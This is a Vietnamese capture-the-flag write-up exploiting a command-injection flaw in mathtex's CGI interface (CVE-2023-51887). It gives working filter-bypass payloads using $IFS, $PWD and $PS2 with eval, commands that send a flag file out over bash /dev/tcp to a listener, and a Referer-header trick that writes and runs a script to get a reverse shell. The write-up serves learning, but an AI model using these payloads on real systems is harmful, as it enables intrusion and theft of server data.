Back to Blog

#Digital Gadget

#Tổng quan

Khi truy cập ứng dụng, ta tưởng là lỗi ứng dụng chưa được config đúng

Nhưng nhìn sơ qua mã nguồn, ta thấy source chỉ có vậy

Ta thấy các module được cài là mathtex, apache2 và dumb-init Apache2 là web server, dumb-init là một init system nhẹ thiết kế cho container, mathtex là công cụ chuyển đổi biểu thức toán học thành hình ảnh, được sử dụng để hiển thị công thức toán học trên web.

#Lỗ hổng

Sau khi kết hợp search và sử dụng AI, ta thấy được CVE-2023-51887 nói về command injection trong mathtex phiên bản dưới 1.05

Sau khi build docker ta có thể dễ dàng kiểm tr Vậy phiên bản mathtex này có dính lỗi, xem PoC Nhìn vào hàm main mặc dù các dấu bị filter rất chặt chẽ, nhưng ta có thể thêm dấu ; trong tham số which để ngắt và tạo một command mới, dùng $IFS để bypass dấu cách đã bị filter payload là

text
/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;ls$IFS-al}

Ta thử nhưng nhận lỗi

Và mặc dù có thử tạo một phép toán hợp lệ, nó vẫn bị lỗi không đủ quyền, kiểm tra quyền

Nó không có quyền write file với người dùng, check các chỗ khác ta thấy cũng không được phép tạo, và mặc dù có thử thay quyền nhưng không hiểu sao vẫn không được

Quay lại web gốc vì ta không được phân quyền như thế, giờ ta cần nhìn xem có cách nào khác không

Sau một hồi chatGPT thì ta biết có thể gửi thông tin ra bằng bash /dev/tcp/x.x.x.x/x nhưng để gửi ta cần phải dùng cái kí tự như >/ nhưng nó đã bị filter trên ứng dụng

Thêm một hồi search thì biết có những biến đặc biệt khác giống $IFS, đó là \$PS1, $PS2,..

Vậy là ta đã biết có biến $PS2 thay thế cho dấu >, giờ cần một biến nào khác thay thế cho /

Nhưng ta chưa thấy biến nào đại diện cho /, sau khi hỏi thêm một hồi

Biến $PWD đại diện cho đường dẫn hiện tại, nếu ta cd đến root, sau đó dùng set với biến đó là ta đã có thể gán dấu / cho một biến, vậy là ta đã có 2 dấu ta cần

Kiểm tra payload:

bash
/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;set$IFS--$IFS$PWD;cd$IFS.$1var$1tmp;touch$IFS.$1test.txt}

Biến 1đượcgaˊnlaˋ1 được gán là PWD, và trước đó ta đã chuyển đến root nên $1 sẽ là /, câu lệnh tương đương

bash
cd ..;cd ..;cd ..;cd ..;cd ..;set -- $PWD;cd ./var/tmp;touch ./test.txt
<div data-shiki-highlighted="true" data-language="text" data-code="%0AV%C3%A0%20n%C3%B3%20%C4%91%C3%A3%20ho%E1%BA%A1t%20%C4%91%E1%BB%99ng%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F1023104f-7c53-4942-b39d-a3c6f32f8b40.png%3Falt%3Dmedia%26token%3D53a93a64-6174-411b-a316-d173b34a9569)%0A%0AGi%E1%BB%9D%20ch%E1%BB%89%20c%E1%BA%A7n%20d%C3%B9ng%20bash%20v%E1%BB%9Bi%20%60%2Fdev%2Ftcp%2F%60%20l%C3%A0%20c%C3%B3%20th%E1%BB%83%20g%E1%BB%ADi%20ra%0A%0Ac%C3%A2u%20l%E1%BB%87nh%20ta%20c%E1%BA%A7n%20th%E1%BB%B1c%20hi%E1%BB%87n%20l%C3%A0%0A"><pre class="shiki one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><span class="line"><span></span></span>
<span class="line"><span>Và nó đã hoạt động</span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F1023104f-7c53-4942-b39d-a3c6f32f8b40.png?alt=media&#x26;token=53a93a64-6174-411b-a316-d173b34a9569)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Giờ chỉ cần dùng bash với `/dev/tcp/` là có thể gửi ra</span></span>
<span class="line"><span></span></span>
<span class="line"><span>câu lệnh ta cần thực hiện là</span></span>
<span class="line"><span></span></span></code></pre></div>
cat /etc/flag.txt > /dev/tcp/xxxx/x
<div data-shiki-highlighted="true" data-language="text" data-code="%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252Fd0ce644c-0898-47f7-b091-8a2bf380b9e4.png%3Falt%3Dmedia%26token%3D8bddc8d3-9073-4f5b-b000-ebc26037622c)%0A%0AV%E1%BA%ADy%20ta%20c%E1%BA%A7n%20g%E1%BB%ADi%20tr%C3%AAn%20%E1%BB%A9ng%20d%E1%BB%A5ng%0A"><pre class="shiki one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><span class="line"><span></span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2Fd0ce644c-0898-47f7-b091-8a2bf380b9e4.png?alt=media&#x26;token=8bddc8d3-9073-4f5b-b000-ebc26037622c)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Vậy ta cần gửi trên ứng dụng</span></span>
<span class="line"><span></span></span></code></pre></div>
\which{;bash;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;set$IFS--$IFS$PWD;cat$IFS$1etc$1flag.txt$IFS$PS2$IFS$1dev$1tcp$1192.168.13.81$14444}
<div data-shiki-highlighted="true" data-language="text" data-code="%0ANh%C6%B0ng%20n%C3%B3%20kh%C3%B4ng%20ho%E1%BA%A1t%20%C4%91%E1%BB%99ng%2C%20ta%20th%E1%BB%AD%20tr%C3%AAn%20terminal%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F8d285a7a-4fe7-453b-b779-34df7d9920c2.png%3Falt%3Dmedia%26token%3D37bd9c50-181e-4165-aff5-935c0c1ca710)%0A%0AH%C3%B3a%20ra%20do%20d%E1%BA%A5u%20%24PS2%20%E1%BB%9F%20%C4%91%C3%A2y%20kh%C3%B4ng%20ph%E1%BA%A3i%20d%E1%BA%A5u%20chuy%E1%BB%83n%20h%C6%B0%E1%BB%9Bng%20m%C3%A0%20l%C3%A0%20d%E1%BA%A5u%20prompt%20ph%E1%BB%A5%20cho%20l%E1%BB%87nh%20nhi%E1%BB%81u%20d%C3%B2ng%2C%20v%C3%A0%20%C4%91%E1%BB%83%20shell%20coi%20%24PS2%20l%C3%A0%20m%E1%BB%99t%20to%C3%A1n%20t%E1%BB%AD%20chuy%E1%BB%83n%20h%C6%B0%E1%BB%9Bng%0A%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F0fe61791-8515-4f05-a191-314defb5ae0f.png%3Falt%3Dmedia%26token%3Dba422067-862b-449f-8803-0f7f72accdde)%0A%0At%E1%BB%A9c%20payload%20c%E1%BA%A7n%20th%C3%AAm%20eval%20v%C3%A0o%20tr%C6%B0%E1%BB%9Bc%2C%20l%C3%A0%0A"><pre class="shiki one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><span class="line"><span></span></span>
<span class="line"><span>Nhưng nó không hoạt động, ta thử trên terminal</span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F8d285a7a-4fe7-453b-b779-34df7d9920c2.png?alt=media&#x26;token=37bd9c50-181e-4165-aff5-935c0c1ca710)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Hóa ra do dấu $PS2 ở đây không phải dấu chuyển hướng mà là dấu prompt phụ cho lệnh nhiều dòng, và để shell coi $PS2 là một toán tử chuyển hướng</span></span>
<span class="line"><span></span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F0fe61791-8515-4f05-a191-314defb5ae0f.png?alt=media&#x26;token=ba422067-862b-449f-8803-0f7f72accdde)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>tức payload cần thêm eval vào trước, là</span></span>
<span class="line"><span></span></span></code></pre></div>
\which{;bash;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;set$IFS--$IFS$PWD;eval$IFScat$IFS$1etc$1flag.txt$IFS$PS2$IFS$1dev$1tcp$1192.168.13.81$14444}
<div data-shiki-highlighted="true" data-language="text" data-code="%0ANh%C6%B0ng%20n%C3%B3%20l%E1%BA%A1i%20permission%20denied%2C%20kh%C3%B4ng%20hi%E1%BB%83u%20sao%20v%C3%AC%20tr%C6%B0%E1%BB%9Bc%20%C4%91%C3%B3%20ta%20v%E1%BA%ABn%20c%C3%B3%20th%E1%BB%83%20g%E1%BB%ADi%20%C4%91i%20b%C3%ACnh%20th%C6%B0%E1%BB%9Dng%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252Faad83708-4633-4611-8269-986a5d8640d8.png%3Falt%3Dmedia%26token%3D08082d27-5540-4352-8559-5e47c55dcee4)%0A%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F473a95e8-3b6e-4e8e-be12-d6dd8c4141d7.png%3Falt%3Dmedia%26token%3D1c0d5154-d1d5-49ae-b5d4-a66e1c9197a0)%0A%0AM%E1%BA%B7c%20d%C3%B9%20t%C3%B4i%20v%E1%BA%ABn%20kh%C3%B4ng%20bi%E1%BA%BFt%20nguy%C3%AAn%20nh%C3%A2n%20l%C3%A0%20sao%20c%C5%A9ng%20kh%C3%B4ng%20bi%E1%BA%BFt%20con%20claude%20n%C3%A0y%20gi%E1%BA%A3i%20th%C3%ADch%20%C4%91%C3%BAng%20kh%C3%B4ng%2C%20nh%C6%B0ng%20khi%20th%C3%AAm%20v%C3%A0o%20th%C3%AC%20%C4%91%C3%BAng%20l%C3%A0%20n%C3%B3%20ho%E1%BA%A1t%20%C4%91%E1%BB%99ng%2C%20nh%C6%B0ng%20%C4%91i%E1%BB%81u%20ki%E1%BB%87n%20l%C3%A0%20bi%E1%BA%BFn%20%C4%91%C3%B3%20ph%E1%BA%A3i%20ch%C6%B0a%20c%C3%B3%20gi%C3%A1%20tr%E1%BB%8B%2C%20%243%204%205%20g%C3%AC%20c%C5%A9ng%20%C4%91%C6%B0%E1%BB%A3c%20n%E1%BA%BFu%20ch%C6%B0a%20%C4%91%C6%B0%E1%BB%A3c%20g%C3%A1n%20gi%C3%A1%20tr%E1%BB%8B%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F13852b62-e460-4906-85b1-7880137d46b1.png%3Falt%3Dmedia%26token%3Ddaa57f9b-9d11-42bc-986a-bb8a954f9acf)%0A"><pre class="shiki one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><span class="line"><span></span></span>
<span class="line"><span>Nhưng nó lại permission denied, không hiểu sao vì trước đó ta vẫn có thể gửi đi bình thường</span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2Faad83708-4633-4611-8269-986a5d8640d8.png?alt=media&#x26;token=08082d27-5540-4352-8559-5e47c55dcee4)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F473a95e8-3b6e-4e8e-be12-d6dd8c4141d7.png?alt=media&#x26;token=1c0d5154-d1d5-49ae-b5d4-a66e1c9197a0)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Mặc dù tôi vẫn không biết nguyên nhân là sao cũng không biết con claude này giải thích đúng không, nhưng khi thêm vào thì đúng là nó hoạt động, nhưng điều kiện là biến đó phải chưa có giá trị, $3 4 5 gì cũng được nếu chưa được gán giá trị</span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F13852b62-e460-4906-85b1-7880137d46b1.png?alt=media&#x26;token=daa57f9b-9d11-42bc-986a-bb8a954f9acf)</span></span>
<span class="line"><span></span></span></code></pre></div>
\which{;bash;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;set$IFS--$IFS$PWD;eval$IFS$2cat$IFS$1etc$1flag.txt$IFS$PS2$IFS$1dev$1tcp$1192.168.13.81$14444}
<div data-shiki-highlighted="true" data-language="text" data-code="%0AT%C6%B0%E1%BB%9Fng%20nh%C6%B0%20xong%20nh%C6%B0ng%20th%E1%BA%ADt%20ra%20v%E1%BA%ABn%20kh%C3%B4ng%20ho%E1%BA%A1t%20%C4%91%E1%BB%99ng%2C%20payload%20tr%C3%AAn%20c%C3%B3%20lu%E1%BB%93ng%20l%C3%A0%0Achuy%E1%BB%83n%20shell%20th%C3%A0nh%20bash%20-%3E%20cd%20%C4%91%E1%BA%BFn%20root%20-%3E%20g%C3%A1n%20gi%C3%A1%20tr%E1%BB%8B%20%241%20l%C3%A0%20%24PWD%20(%60%2F%60)%20-%3E%20ch%E1%BA%A1y%20eval%20cat%20file%20flag%20sau%20%C4%91%C3%B3%20g%E1%BB%ADi%20%C4%91%E1%BA%BFn%20listener%0A%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F542e4904-878f-4949-a98c-14ef16df1291.png%3Falt%3Dmedia%26token%3De178d991-4b46-4504-8e1f-9aade4c20440)%0A%0AH%C3%B3a%20ra%20l%C3%A0%20v%E1%BA%ADy%2C%20sau%20m%E1%BB%99t%20h%E1%BB%93i%20tra%20xem%20c%C3%B3%20c%C3%A1ch%20n%C3%A0o%20m%E1%BB%9F%20b%E1%BA%B1ng%20bash%20%C4%91%E1%BB%83%20th%E1%BB%B1c%20thi%20kh%C3%B4ng%20nh%C6%B0%20bash%20-c%20%22..%22%20nh%C6%B0ng%20c%E1%BA%A7n%20d%E1%BA%A5u%20%60%22%22%60%20%C4%91%C3%A3%20b%E1%BB%8B%20filter%20ho%E1%BA%B7c%20v%C3%A0i%20c%C3%A1c%20kh%C3%A1c%20c%C5%A9ng%20m%C3%A3i%20kh%C3%B4ng%20%C4%91%C6%B0%E1%BB%A3c%2C%20ch%E1%BB%89%20c%C3%B2n%20c%C3%A1ch%20ghi%20v%C3%A0o%20file%20sau%20%C4%91%C3%B3%20ch%E1%BA%A1y%20bash%20file%20%C4%91%C3%B3%0A%0AV%C3%A0%20sau%20khi%20nh%E1%BB%9D%20chatGPT%20t%C3%ACm%20k%C4%A9%20t%C3%A0i%20li%E1%BB%87u%20v%E1%BB%81%20apache2%20v%C3%A0%20cgi%2C%20n%C3%B3%20c%C3%B3%20t%C3%B3m%20g%E1%BB%8Dn%20v%C3%A0%20%C4%91%C6%B0a%20ra%20v%C3%A0i%20t%C3%A0i%20li%E1%BB%87u%2C%20sau%20%C4%91%C3%B3%20prompt%20x%C3%ADu%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252Fb3e79b4e-d574-4009-8c3b-d5a2ed9eed36.png%3Falt%3Dmedia%26token%3D07c2d2a2-ff55-4ede-84d0-03c4ffe91b18)%0A%0A!%5B%5D(https%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fattom-website-993a10t1to-f52dd.firebasestorage.app%2Fo%2Fblog-images%252F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%252F47e14c7f-c1aa-453f-83ea-76bea8c14f8e.png%3Falt%3Dmedia%26token%3D632612b0-2136-41f3-864f-d10225de9917)%0A%0APayload%0A"><pre class="shiki one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><span class="line"><span></span></span>
<span class="line"><span>Tưởng như xong nhưng thật ra vẫn không hoạt động, payload trên có luồng là</span></span>
<span class="line"><span>chuyển shell thành bash -> cd đến root -> gán giá trị $1 là $PWD (`/`) -> chạy eval cat file flag sau đó gửi đến listener</span></span>
<span class="line"><span></span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F542e4904-878f-4949-a98c-14ef16df1291.png?alt=media&#x26;token=e178d991-4b46-4504-8e1f-9aade4c20440)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Hóa ra là vậy, sau một hồi tra xem có cách nào mở bằng bash để thực thi không như bash -c ".." nhưng cần dấu `""` đã bị filter hoặc vài các khác cũng mãi không được, chỉ còn cách ghi vào file sau đó chạy bash file đó</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Và sau khi nhờ chatGPT tìm kĩ tài liệu về apache2 và cgi, nó có tóm gọn và đưa ra vài tài liệu, sau đó prompt xíu</span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2Fb3e79b4e-d574-4009-8c3b-d5a2ed9eed36.png?alt=media&#x26;token=07c2d2a2-ff55-4ede-84d0-03c4ffe91b18)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F47e14c7f-c1aa-453f-83ea-76bea8c14f8e.png?alt=media&#x26;token=632612b0-2136-41f3-864f-d10225de9917)</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Payload</span></span>
<span class="line"><span></span></span></code></pre></div>
\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;set$IFS--$IFS$PWD;cd$IFS.$1var$1tmp;eval$IFS$2echo$IFS$HTTP_REFERER$IFS$PS2$IFS.$1test.sh;bash$IFS.$1test.sh}
<div data-shiki-highlighted="true" data-language="text" data-code="%0AK%C3%A8m%20theo%20trong%20Header%20Referer%20c%C3%B3%20n%E1%BB%99i%20dung%20ta%20mu%E1%BB%91n%20ghi%20v%C3%A0o%20file%2C%20%E1%BB%9F%20%C4%91%C3%A2y%20l%C3%A0%20%60%22cat%20%2Fetc%2Fflag.txt%20%3E%20%2Fdev%2Ftcp%2Fx.x.x.x%2Fx%22%60%0AL%E1%BB%87nh%20n%C3%A0y%20t%C6%B0%C6%A1ng%20%C4%91%C6%B0%C6%A1ng%0A%0A%60%60%60bash%0Acd%20..%3Bcd%20..%3Bcd%20..%3Bcd%20..%3Bcd%20..%3Bset%20--%20%24PWD%3Bcd%20.%2Fvar%2Ftmp%3Beval%20echo%20%22cat%20%2Fetc%2Fflag.txt%20%3E%20%2Fdev%2Ftcp%2Fx.x.x.x%2Fx%22%20%3E%20.%2Ftest.sh%3B%20bash%20.%2Ftesh.sh"><pre class="shiki one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><span class="line"><span></span></span>
<span class="line"><span>Kèm theo trong Header Referer có nội dung ta muốn ghi vào file, ở đây là `"cat /etc/flag.txt > /dev/tcp/x.x.x.x/x"`</span></span>
<span class="line"><span>Lệnh này tương đương</span></span>
<span class="line"><span></span></span>
<span class="line"><span>```bash</span></span>
<span class="line"><span>cd ..;cd ..;cd ..;cd ..;cd ..;set -- $PWD;cd ./var/tmp;eval echo "cat /etc/flag.txt > /dev/tcp/x.x.x.x/x" > ./test.sh; bash ./tesh.sh</span></span></code></pre></div>

![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2Fdae356c6-62fd-4f60-b3b9-20286357e51d.png?alt=media&token=2defb9ec-7a5f-494d-b8a7-cbdfb9daa50b)

Vậy là ta đã lấy flag thành công, nhưng vì ở trường referer kia ta thích ghi gì vào file cũng không bị giới hạn, ta nghĩ đến có thể reverse shell

Ta mở một cổng ngrok tcp

![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F12cbd6e3-1595-465c-9eee-04127854dff3.png?alt=media&token=ae82fa91-edad-468b-8ec0-ebb6e6cb42b0)

Sau đó sửa nội dung để reverse shell
![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F041b8ea2-750c-45b5-bc1e-ddf1f07af382.png?alt=media&token=6dd14b8a-bcda-46d1-94f4-4b61731e37a1)

Và sau khi gửi, ta đã lấy được shell, và file test.sh chính là file ta tạo ra trên server để thực thi
![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F01b31fe1-f2d5-4976-82f9-270c2b4b7886.png?alt=media&token=a112b6ee-8bc1-4715-8723-a20ce890d498)

Sau một hồi xem rồi nghịch, tôi thấy trường referer với biến $HTTP_REFERER xem có thể đổi được thành biến khác không, ban đầu thư bằng các trường có sẵn như cookie, chỉ đơn giản thay chữ REFERER thành COOKIE

![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F2eef9290-00f1-4d7c-a4d4-172983a55ee0.png?alt=media&token=67eb50cd-ab31-4501-9d44-92934c540a90)

và nó được ghi vào trong file thật, tôi thử tự thêm một trường ngẫu nhiên

![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F946e9343-f165-4250-ada8-c78d79e4698a.png?alt=media&token=c9c492a2-b82b-4e1e-9d2e-3790e7d64a3a)

Nó vẫn nhận làm biến và phía bên listener vẫn nhận được shell
![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F75de7f5f-baf1-41a4-afc9-60895c9e998a.png?alt=media&token=999d88e0-639a-4b17-9a17-0b2e36170d09)

Và sau khi hỏi gpt, hóa ra HTTP header được apache biến đổi thành biến môi trường, tức ta có thể tùy thích thêm header sau đó ghi biến tuân theo quy tắc là được
![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F19368325-b046-4873-b2d2-492ea0470b75.png?alt=media&token=ca1bb450-ef85-4341-8f93-214bef7cf56c)

![](https://firebasestorage.googleapis.com/v0/b/attom-website-993a10t1to-f52dd.firebasestorage.app/o/blog-images%2F7d36e234-0ae5-4d18-b2f8-65f5865bbcf7%2F5437e519-885a-4265-83ab-537a251411d3.png?alt=media&token=32c30b33-996b-4824-ac1e-b4d9ae0ab6c7)

Reference:

https://httpd.apache.org/docs/trunk/env.html

https://httpd.apache.org/docs/trunk/howto/cgi.html

https://github.com/shine102/CTF-Writeups/blob/main/ASCIS2024/Web/README.md